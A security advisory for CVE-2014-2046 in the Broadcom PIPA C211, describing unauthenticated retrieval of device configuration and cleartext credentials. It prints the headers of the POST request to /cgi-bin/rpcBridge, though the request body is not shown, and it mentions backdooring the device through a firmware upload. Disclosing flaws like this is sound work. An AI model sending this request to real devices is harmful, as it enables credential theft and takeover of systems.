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Vulnerability title: Unauthenticated Credential And Configuration Retrieval In Broadcom Ltd PIPA C211

CVE: CVE-2014-2046
Vendor: Broadcom Ltd
Product: PIPA C211
Affected version: Software Revision: 1.1, Hardware Revision: PIPA C211 rev2
Fixed version: N/A
Reported by: Jerzy Kramarz


By sending the following request to the BROADCOM PIPA C211 web interface it is possible to retrieve complete system configuration including administrative credentials, SNMP community strings, FTP upload credentials and all other system user credentials:

POST /cgi-bin/rpcBridge HTTP/1.1
Host: <IP>
Proxy-Connection: keep-alive
Content-Length: 574
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36
Origin: http://<IP>
Content-Type: text/xml
Accept: */*
DNT: 1
Referer: http://:<IP>/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4



An attacker would be able to control the application via administrative interface as credentials are stored in clear text. Furthermore, the attacker could use that interface to upload and backdoor the system via malicious firmware update.


Exploit code is not required.

Vendor status:

29/01/2014 Advisory created
21/02/2014 CVE obtained
03/03/2014 Vendor contacted
28/03/2014 Vendor contact reattempted
09/05/2014 Published

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